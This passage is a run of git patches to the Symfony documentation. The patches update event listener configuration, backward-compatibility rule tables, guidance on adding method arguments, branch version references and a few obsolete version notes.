     The ``#[WithHttpStatus]`` attribute was introduced in Symfony 6.3.
 
+It is also possible to map a log level on a custom exception class using
+the ``#[WithLogLevel]`` attribute::
+
+    namespace App\Exception;
+
+    use Psr\Log\LogLevel;
+    use Symfony\Component\HttpKernel\Attribute\WithLogLevel;
+
+    #[WithLogLevel(LogLevel::WARNING)]
+    class CustomException extends \Exception
+    {
+    }
+
+.. versionadded:: 6.3
+
+    The ``#[WithLogLevel]`` attribute was introduced in Symfony 6.3.
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol

From cc078fdcaf8f3e7dcffc160e959f5698f402064c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jan 2023 19:30:17 +0100
Subject: [PATCH 4086/7107] Tweaks

---
 configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index ca62ee96df6..fbdae492184 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -20,12 +20,12 @@ directory, which has this default structure:
     │  └─ services.yaml
 
 * The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
-* the ``services.yaml`` file configures the services of the
+* The ``services.yaml`` file configures the services of the
 :doc:`service container </service_container>`;
-* the ``bundles.php`` file enables/disables packages in your application.
+* The ``bundles.php`` file enables/disables packages in your application;
+* The ``config/packages/`` directory stores the configuration of every package
+  installed in your application.
 
-The ``config/packages/`` directory
-stores the configuration of every package installed in your application.
 Packages (also called "bundles" in Symfony and "plugins/modules" in other
 projects) add ready-to-use features to your projects.
 

From 62f516596b9e5efc595bbdb0672400231a3810c7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 18:02:00 +0100
Subject: [PATCH 4087/7107] [EventDispatcher] Allow to omit the event name when
 registering listeners

---
 event_dispatcher.rst | 45 ++++++++++++++++++++++++++------------------
 1 file changed, 27 insertions(+), 18 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index f10a93bc90f..17e4e02019c 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -32,7 +32,7 @@ The most common way to listen to an event is to register an **event listener**::
 
     class ExceptionListener
     {
-        public function onKernelException(ExceptionEvent $event)
+        public function __invoke(ExceptionEvent $event): void
         {
             // You get the exception object from the received event
             $exception = $event->getThrowable();
@@ -60,16 +60,8 @@ The most common way to listen to an event is to register an **event listener**::
         }
     }
 
-.. tip::
-
-    Each event receives a slightly different type of ``$event`` object. For
-    the ``kernel.exception`` event, it is :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`.
-    Check out the :doc:`Symfony events reference </reference/events>` to see
-    what type of object each event provides.
-
 Now that the class is created, you need to register it as a service and
-notify Symfony that it is a "listener" on the ``kernel.exception`` event by
-using a special "tag":
+notify Symfony that it is a event listener by using a special "tag":
 
 .. configuration-block::
 
@@ -78,8 +70,7 @@ using a special "tag":
         # config/services.yaml
         services:
             App\EventListener\ExceptionListener:
-                tags:
-                    - { name: kernel.event_listener, event: kernel.exception }
+                tags: [kernel.event_listener]
 
     .. code-block:: xml
 
@@ -92,7 +83,7 @@ using a special "tag":
 
             <services>
                 <service id="App\EventListener\ExceptionListener">
-                    <tag name="kernel.event_listener" event="kernel.exception"/>
+                    <tag name="kernel.event_listener"/>
                 </service>
             </services>
         </container>
@@ -108,7 +99,7 @@ using a special "tag":
             $services = $containerConfigurator->services();
 
             $services->set(ExceptionListener::class)
-                ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
+                ->tag('kernel.event_listener')
             ;
         };
 
@@ -117,10 +108,7 @@ listener class:
 
 #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's
    the name of the method to be called;
-#. If no ``method`` attribute is defined, try to call the method whose name
-   is ``on`` + "PascalCased event name" (e.g. ``onKernelException()`` method for
-   the ``kernel.exception`` event);
-#. If that method is not defined either, try to call the ``__invoke()`` magic
+#. If no ``method`` attribute is defined, try to call the ``__invoke()`` magic
    method (which makes event listeners invokable);
 #. If the ``__invoke()`` method is not defined either, throw an exception.
 
@@ -134,6 +122,27 @@ listener class:
     internal Symfony listeners usually range from ``-256`` to ``256`` but your
     own listeners can use any positive or negative integer.
 
+.. note::
+
+    There is an optional attribute for the ``kernel.event_listener`` tag called
+    ``event`` which is useful when listener ``$event`` argument is not typed.
+    If you configure it, it will change type of ``$event`` object.
+    For the ``kernel.exception`` event, it is :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`.
+    Check out the :doc:`Symfony events reference </reference/events>` to see
+    what type of object each event provides.
+
+    With this attribute, Symfony follows this logic to decide which method to call
+    inside the event listener class:
+
+    #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's
+       the name of the method to be called;
+    #. If no ``method`` attribute is defined, try to call the method whose name
+       is ``on`` + "PascalCased event name" (e.g. ``onKernelException()`` method for
+       the ``kernel.exception`` event);
+    #. If that method is not defined either, try to call the ``__invoke()`` magic
+       method (which makes event listeners invokable);
+    #. If the ``__invoke()`` method is not defined either, throw an exception.
+
 Defining Event Listeners with PHP Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f068e3cff0879ac0a9c09416900f35376fff31f3 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 10 Jan 2023 11:58:03 +0100
Subject: [PATCH 4088/7107] Add a section about how to add an argument to a
 method without breaking BC

---
 contributing/code/bc.rst | 379 +++++++++++++++++++++++----------------
 1 file changed, 222 insertions(+), 157 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3f1e6164087..ae97007117e 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -231,102 +231,102 @@ Changing Classes
 This table tells you which changes you are allowed to do when working on
 Symfony's classes:
 
-==================================================  ==============  ===============
-Type of Change                                      Change Allowed  Notes
-==================================================  ==============  ===============
-Remove entirely                                     No
-Make final                                          No              :ref:`[6] <note-6>`
-Make abstract                                       No
-Change name or namespace                            No
-Change parent class                                 Yes             :ref:`[4] <note-4>`
-Add interface                                       Yes
-Remove interface                                    No
+========================================================================  ==============  ===============
+Type of Change                                                            Change Allowed  Notes
+========================================================================  ==============  ===============
+Remove entirely                                                           No
+Make final                                                                No              :ref:`[6] <note-6>`
+Make abstract                                                             No
+Change name or namespace                                                  No
+Change parent class                                                       Yes             :ref:`[4] <note-4>`
+Add interface                                                             Yes
+Remove interface                                                          No
 **Public Properties**
-Add public property                                 Yes
-Remove public property                              No
-Reduce visibility                                   No
-Move to parent class                                Yes
+Add public property                                                       Yes
+Remove public property                                                    No
+Reduce visibility                                                         No
+Move to parent class                                                      Yes
 **Protected Properties**
-Add protected property                              Yes
-Remove protected property                           No              :ref:`[7] <note-7>`
-Reduce visibility                                   No              :ref:`[7] <note-7>`
-Make public                                         No              :ref:`[7] <note-7>`
-Move to parent class                                Yes
+Add protected property                                                    Yes
+Remove protected property                                                 No              :ref:`[7] <note-7>`
+Reduce visibility                                                         No              :ref:`[7] <note-7>`
+Make public                                                               No              :ref:`[7] <note-7>`
+Move to parent class                                                      Yes
 **Private Properties**
-Add private property                                Yes
-Make public or protected                            Yes
-Remove private property                             Yes
+Add private property                                                      Yes
+Make public or protected                                                  Yes
+Remove private property                                                   Yes
 **Constructors**
-Add constructor without mandatory arguments         Yes             :ref:`[1] <note-1>`
-Remove constructor                                  No
-Reduce visibility of a public constructor           No
-Reduce visibility of a protected constructor        No              :ref:`[7] <note-7>`
-Move to parent class                                Yes
+Add constructor without mandatory arguments                               Yes             :ref:`[1] <note-1>`
+Remove constructor                                                        No
+Reduce visibility of a public constructor                                 No
+Reduce visibility of a protected constructor                              No              :ref:`[7] <note-7>`
+Move to parent class                                                      Yes
 **Destructors**
-Add destructor                                      Yes
-Remove destructor                                   No
-Move to parent class                                Yes
+Add destructor                                                            Yes
+Remove destructor                                                         No
+Move to parent class                                                      Yes
 **Public Methods**
-Add public method                                   Yes
-Remove public method                                No
-Change name                                         No
-Reduce visibility                                   No
-Make final                                          No              :ref:`[6] <note-6>`
-Move to parent class                                Yes
-Add argument without a default value                No
-Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove argument                                     No              :ref:`[3] <note-3>`
-Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove default value of an argument                 No
-Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
-Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add public method                                                         Yes
+Remove public method                                                      No
+Change name                                                               No
+Reduce visibility                                                         No
+Make final                                                                No              :ref:`[6] <note-6>`
+Move to parent class                                                      Yes
+:ref:`Add argument without a default value <add-argument-public-method>`  No
+:ref:`Add argument with a default value <add-argument-public-method>`     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                                           No              :ref:`[3] <note-3>`
+Add default value to an argument                                          No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove default value of an argument                                       No
+Add type hint to an argument                                              No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                                      No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Protected Methods**
-Add protected method                                Yes
-Remove protected method                             No              :ref:`[7] <note-7>`
-Change name                                         No              :ref:`[7] <note-7>`
-Reduce visibility                                   No              :ref:`[7] <note-7>`
-Make final                                          No              :ref:`[6] <note-6>`
-Make public                                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Move to parent class                                Yes
-Add argument without a default value                No              :ref:`[7] <note-7>`
-Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove argument                                     No              :ref:`[3] <note-3>`
-Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove default value of an argument                 No              :ref:`[7] <note-7>`
-Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
-Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add protected method                                                      Yes
+Remove protected method                                                   No              :ref:`[7] <note-7>`
+Change name                                                               No              :ref:`[7] <note-7>`
+Reduce visibility                                                         No              :ref:`[7] <note-7>`
+Make final                                                                No              :ref:`[6] <note-6>`
+Make public                                                               No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Move to parent class                                                      Yes
+:ref:`Add argument without a default value <add-argument-public-method>`  No
+:ref:`Add argument with a default value <add-argument-public-method>`     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                                           No              :ref:`[3] <note-3>`
+Add default value to an argument                                          No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove default value of an argument                                       No              :ref:`[7] <note-7>`
+Add type hint to an argument                                              No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                                      No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Private Methods**
-Add private method                                  Yes
-Remove private method                               Yes
-Change name                                         Yes
-Make public or protected                            Yes
-Add argument without a default value                Yes
-Add argument with a default value                   Yes
-Remove argument                                     Yes
-Add default value to an argument                    Yes
-Remove default value of an argument                 Yes
-Add type hint to an argument                        Yes
-Remove type hint of an argument                     Yes
-Change argument type                                Yes
-Add return type                                     Yes
-Remove return type                                  Yes
-Change return type                                  Yes
+Add private method                                                        Yes
+Remove private method                                                     Yes
+Change name                                                               Yes
+Make public or protected                                                  Yes
+Add argument without a default value                                      Yes
+Add argument with a default value                                         Yes
+Remove argument                                                           Yes
+Add default value to an argument                                          Yes
+Remove default value of an argument                                       Yes
+Add type hint to an argument                                              Yes
+Remove type hint of an argument                                           Yes
+Change argument type                                                      Yes
+Add return type                                                           Yes
+Remove return type                                                        Yes
+Change return type                                                        Yes
 **Static Methods and Properties**
-Turn non static into static                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Turn static into non static                         No
+Turn non static into static                                               No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Turn static into non static                                               No
 **Constants**
-Add constant                                        Yes
-Remove constant                                     No
-Change value of a constant                          Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
-==================================================  ==============  ===============
+Add constant                                                              Yes
+Remove constant                                                           No
+Change value of a constant                                                Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
+========================================================================  ==============  ===============
 
 Changing Traits
 ~~~~~~~~~~~~~~~
@@ -334,84 +334,84 @@ Changing Traits
 This table tells you which changes you are allowed to do when working on
 Symfony's traits:
 
-==================================================  ==============  ===============
-Type of Change                                      Change Allowed  Notes
-==================================================  ==============  ===============
-Remove entirely                                     No
-Change name or namespace                            No
-Use another trait                                   Yes
+===============================================================================  ==============  ===============
+Type of Change                                                                   Change Allowed  Notes
+===============================================================================  ==============  ===============
+Remove entirely                                                                  No
+Change name or namespace                                                         No
+Use another trait                                                                Yes
 **Public Properties**
-Add public property                                 Yes
-Remove public property                              No
-Reduce visibility                                   No
-Move to a used trait                                Yes
+Add public property                                                              Yes
+Remove public property                                                           No
+Reduce visibility                                                                No
+Move to a used trait                                                             Yes
 **Protected Properties**
-Add protected property                              Yes
-Remove protected property                           No
-Reduce visibility                                   No
-Make public                                         No
-Move to a used trait                                Yes
+Add protected property                                                           Yes
+Remove protected property                                                        No
+Reduce visibility                                                                No
+Make public                                                                      No
+Move to a used trait                                                             Yes
 **Private Properties**
-Add private property                                Yes
-Remove private property                             No
-Make public or protected                            Yes
-Move to a used trait                                Yes
+Add private property                                                             Yes
+Remove private property                                                          No
+Make public or protected                                                         Yes
+Move to a used trait                                                             Yes
 **Constructors and destructors**
-Have constructor or destructor                      No
+Have constructor or destructor                                                   No
 **Public Methods**
-Add public method                                   Yes
-Remove public method                                No
-Change name                                         No
-Reduce visibility                                   No
-Make final                                          No              :ref:`[6] <note-6>`
-Move to used trait                                  Yes
-Add argument without a default value                No
-Add argument with a default value                   No
-Remove argument                                     No
-Add default value to an argument                    No
-Remove default value of an argument                 No
-Add type hint to an argument                        No
-Remove type hint of an argument                     No
-Change argument type                                No
-Change return type                                  No
+Add public method                                                                Yes
+Remove public method                                                             No
+Change name                                                                      No
+Reduce visibility                                                                No
+Make final                                                                       No              :ref:`[6] <note-6>`
+Move to used trait                                                               Yes
+:ref:`Add argument without a default value <add-argument-public-method>`         No
+:ref:`Add argument with a default value <add-argument-public-method>`            No
+Remove argument                                                                  No
+Add default value to an argument                                                 No
+Remove default value of an argument                                              No
+Add type hint to an argument                                                     No
+Remove type hint of an argument                                                  No
+Change argument type                                                             No
+Change return type                                                               No
 **Protected Methods**
-Add protected method                                Yes
-Remove protected method                             No
-Change name                                         No
-Reduce visibility                                   No
-Make final                                          No              :ref:`[6] <note-6>`
-Make public                                         No              :ref:`[8] <note-8>`
-Move to used trait                                  Yes
-Add argument without a default value                No
-Add argument with a default value                   No
-Remove argument                                     No
-Add default value to an argument                    No
-Remove default value of an argument                 No
-Add type hint to an argument                        No
-Remove type hint of an argument                     No
-Change argument type                                No
-Change return type                                  No
+Add protected method                                                             Yes
+Remove protected method                                                          No
+Change name                                                                      No
+Reduce visibility                                                                No
+Make final                                                                       No              :ref:`[6] <note-6>`
+Make public                                                                      No              :ref:`[8] <note-8>`
+Move to used trait                                                               Yes
+:ref:`Add argument without a default value <add-argument-public-method>`         No
+:ref:`Add argument with a default value <add-argument-public-method>`            No
+Remove argument                                                                  No
+Add default value to an argument                                                 No
+Remove default value of an argument                                              No
+Add type hint to an argument                                                     No
+Remove type hint of an argument                                                  No
+Change argument type                                                             No
+Change return type                                                               No
 **Private Methods**
-Add private method                                  Yes
-Remove private method                               No
-Change name                                         No
-Make public or protected                            Yes
-Move to used trait                                  Yes
-Add argument without a default value                No
-Add argument with a default value                   No
-Remove argument                                     No
-Add default value to an argument                    No
-Remove default value of an argument                 No
-Add type hint to an argument                        No
-Remove type hint of an argument                     No
-Change argument type                                No
-Add return type                                     No
-Remove return type                                  No
-Change return type                                  No
-**Static Methods and Properties**
-Turn non static into static                         No
-Turn static into non static                         No
-==================================================  ==============  ===============
+Add private method                                                               Yes
+Remove private method                                                            No
+Change name                                                                      No
+Make public or protected                                                         Yes
+Move to used trait                                                               Yes
+Add argument without a default value                                             No
+Add argument with a default value                                                No
+Remove argument                                                                  No
+Add default value to an argument                                                 No
+Remove default value of an argument                                              No
+Add type hint to an argument                                                     No
+Remove type hint of an argument                                                  No
+Change argument type                                                             No
+Add return type                                                                  No
+Remove return type                                                               No
+Change return type                                                               No
+**Static Methods and Properties**          
+Turn non static into static                                                      No
+Turn static into non static                                                      No
+===============================================================================  ==============  ===============
 
 Notes
 ~~~~~
@@ -473,4 +473,69 @@ a return type is only possible with a child type.
 constructors of Attribute classes. Using PHP named arguments might break your
 code when upgrading to newer Symfony versions.
 
+Making Code Changes in a Backward Compatible Way
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+As you read above, many changes are not allowed because they would represent a
+backward compability break. However, we want to be able to improve the code and
+its features over time and that can be done thanks to some strategies that
+allow to still do some unallowed changes in several steps that ensure backward
+compability and a smooth upgrade path. Some of them are described in the next
+sections.
+
+.. _add-argument-public-method:
+
+Adding an Argument to a Public Method
+.....................................
+
+Adding a new argument to a public method is possible only if this is the last
+argument of the method.
+
+If that's the case, here is how to do it properly in a minor version:
+
+#. Add the argument as a comment in the signature::
+
+    // the new argument can be optional
+    public function say(string $text, /* bool $stripWithespace = true */): void
+    {
+    }
+
+    // or required
+    public function say(string $text, /* bool $stripWithespace */): void
+    {
+    }
+
+#. Document the new argument in a PHPDoc::
+
+    /**
+     * @param bool $stripWithespace
+     */
+
+#. Use ``func_num_args`` and ``func_get_arg`` to retrieve the argument in the
+   method::
+
+        $stripWithespace = 2 <= \func_num_args() ? func_get_arg(1) : false;
+
+   Note that the default value is ``false`` to keep the current behavior.
+
+#. If the argument has a default value that will change the current behavior,
+   warn the user::
+
+    trigger_deprecation('symfony/COMPONENT', 'X.Y', 'Not passing the "bool $stripWithespace" argument explicitly is deprecated, its default value will change to X in Z.0.');
+
+#. If the argument has no default value, warn the user that is going to be
+   required in the next major version::
+
+    if (\func_num_args() < 2) {
+        trigger_deprecation('symfony/COMPONENT', 'X.Y', 'The "%s()" method will have a new "bool $stripWithespace" argument in version Z.0, not defining it is deprecated.', __METHOD__);
+
+        $stripWithespace = false;
+    } else {
+        $stripWithespace = func_get_arg(1);
+    }
+
+#. In the next major version (``X.0``), uncomment the argument, remove the
+   PHPDoc if there is no need for a description, and remove the
+   ``func_get_arg`` code and the warning if any.
+
 .. _`Semantic Versioning`: https://semver.org/

From 12cc8a28adc7522a1d36727fef78aff56349782d Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 08:50:42 +0100
Subject: [PATCH 4089/7107] Fix Symfony versions when needed

---
 README.markdown                     |  4 +--
 contributing/code/pull_requests.rst | 40 ++++++++++++++---------------
 contributing/code/tests.rst         |  2 +-
 contributing/community/releases.rst | 20 +++++++--------
 4 files changed, 33 insertions(+), 33 deletions(-)

diff --git a/README.markdown b/README.markdown
index b8c8f863b4d..8424f980f7e 100644
--- a/README.markdown
+++ b/README.markdown
@@ -26,8 +26,8 @@ Contributing
 We love contributors! For more information on how you can contribute, please read
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
-**Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
+**Important**: use `5.4` branch as the base of your pull requests, unless you are
+documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.2).
 
 Build Documentation Locally
 ---------------------------
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index fa2306f613c..5255613c000 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,20 +132,20 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``6.2``, if you are adding a new feature.
+* ``6.3``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
   :ref:`special development process <major-version-development>` of those versions,
-  you need to use the previous minor version for the features (e.g. use ``4.4``
-  instead of ``5.0``, use ``5.4`` instead of ``6.0``, etc.)
+  you need to use the previous minor version for the features (e.g. use ``5.4``
+  instead of ``6.0``, use ``6.4`` instead of ``7.0``, etc.)
 
 .. note::
 
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
-    for the ``4.4`` branch, the PR will also be applied by the core team on
-    the ``5.x`` and ``6.x`` branches.
+    for the ``5.4`` branch, the PR will also be applied by the core team on
+    all the ``6.x`` branches that are still maintained.
 
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~
@@ -157,18 +157,18 @@ topic branch:
 
     $ git checkout -b BRANCH_NAME 5.x
 
-Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
-``4.4`` branch locally:
+Or, if you want to provide a bug fix for the ``5.4`` branch, first track the remote
+``5.4`` branch locally:
 
 .. code-block:: terminal
 
-    $ git checkout --track origin/4.4
+    $ git checkout --track origin/5.4
 
-Then create a new branch off the ``4.4`` branch to work on the bug fix:
+Then create a new branch off the ``5.4`` branch to work on the bug fix:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 4.4
+    $ git checkout -b BRANCH_NAME 5.4
 
 .. tip::
 
@@ -284,15 +284,15 @@ while to finish your changes):
 
 .. code-block:: terminal
 
-    $ git checkout 5.x
+    $ git checkout 6.x
     $ git fetch upstream
-    $ git merge upstream/5.x
+    $ git merge upstream/6.x
     $ git checkout BRANCH_NAME
-    $ git rebase 5.x
+    $ git rebase 6.x
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
+    Replace ``6.x`` with the branch you selected previously (e.g. ``5.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -319,8 +319,8 @@ You can now make a pull request on the ``symfony/symfony`` GitHub repository.
 
 .. tip::
 
-    Take care to point your pull request towards ``symfony:4.4`` if you want
-    the core team to pull a bug fix based on the ``4.4`` branch.
+    Take care to point your pull request towards ``symfony:5.4`` if you want
+    the core team to pull a bug fix based on the ``5.4`` branch.
 
 To ease the core team work, always include the modified components in your
 pull request message, like in:
@@ -461,7 +461,7 @@ test scenarios run on each change:
 
     This job also runs relevant packages using a "flipped" test (indicated
     by a ``^`` suffix in the package name). These tests checkout the
-    previous major release (e.g. ``4.4`` for a pull requests on ``5.4``)
+    previous major release (e.g. ``5.4`` for a pull requests on ``6.3``)
     and run the tests with your branch as dependency.
 
     A failure in these flipped tests indicate a backwards compatibility
@@ -500,12 +500,12 @@ Rework your Pull Request
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Based on the feedback on the pull request, you might need to rework your
-PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
-``upstream/4.4``, don't merge; and force the push to the origin:
+PR. Before re-submitting the PR, rebase with ``upstream/6.x`` or
+``upstream/5.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
-    $ git rebase -f upstream/5.x
+    $ git rebase -f upstream/6.x
     $ git push --force origin BRANCH_NAME
 
 .. note::
diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 376792f879f..4c0c65ae09c 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=4.4.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=5.4.x-dev composer update
 
 .. _running:
 
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 0ecaa641f9b..fa452b67dfc 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,9 +7,9 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
+* A new **Symfony patch version** (e.g. 5.4.12, 6.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
-* A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
+* A new **Symfony minor version** (e.g. 5.4, 6.0, 6.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features,
   can contain new deprecations but it doesn't include any breaking change,
   so you can safely upgrade your applications;
@@ -54,7 +54,7 @@ Maintenance
 
 Starting from the Symfony 3.x branch, the number of minor versions is limited to
 five per branch (X.0, X.1, X.2, X.3 and X.4). The last minor version of a branch
-(e.g. 4.4, 5.4) is considered a **long-term support version** and the other
+(e.g. 5.4, 6.4) is considered a **long-term support version** and the other
 ones are considered **standard versions**:
 
 =======================  =====================  ================================
@@ -88,17 +88,17 @@ learn more about how deprecations are handled in Symfony.
 .. _major-version-development:
 
 This deprecation policy also requires a custom development process for major
-versions (5.0, 6.0, etc.) In those cases, Symfony develops at the same time
-two versions: the new major one (e.g. 5.0) and the latest version of the
-previous branch (e.g. 4.4).
+versions (6.0, 7.0, etc.) In those cases, Symfony develops at the same time
+two versions: the new major one (e.g. 6.0) and the latest version of the
+previous branch (e.g. 5.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (4.4 in this example) contains all the deprecated
-features whereas the new version (5.0 in this example) removes all of them.
+features. The oldest version (5.4 in this example) contains all the deprecated
+features whereas the new version (6.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 5.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 5.0) without
+deprecations, you can upgrade to the new major version (e.g. 6.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 

From 384046125741795282451f7d898f8a088d521da6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 17:06:28 +0100
Subject: [PATCH 4090/7107] Deprecate the proxy-manager package

---
 service_container/lazy_services.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 6f92f5b0d5d..b5190c0d159 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -33,8 +33,8 @@ until you interact with the proxy in some way.
 
 .. versionadded:: 6.2
 
-    Starting from Symfony 6.2, you don't have to install any package (e.g.
-    ``symfony/proxy-manager-bridge``) in order to use the lazy service instantiation.
+    Starting from Symfony 6.2, service laziness is supported out of the box
+    without having to install any additional package.
 
 Configuration
 -------------

From 32b12df56980c6f0d9c3f40d463b9077626b9f65 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 08:58:57 +0100
Subject: [PATCH 4091/7107] Remove obsolete comments

---
 components/form.rst              | 4 ----
 reference/configuration/twig.rst | 8 ++++----
 templating/twig_extension.rst    | 4 ----
 3 files changed, 4 insertions(+), 12 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index d4fdab0a7ec..7e7e92b3b48 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -223,10 +223,6 @@ to bootstrap or access Twig and add the :class:`Symfony\\Bridge\\Twig\\Extension
         // ...
         ->getFormFactory();
 
-.. versionadded:: 1.30
-
-    The ``Twig\RuntimeLoader\FactoryRuntimeLoader`` was introduced in Twig 1.30.
-
 The exact details of your `Twig Configuration`_ will vary, but the goal is
 always to add the :class:`Symfony\\Bridge\\Twig\\Extension\\FormExtension`
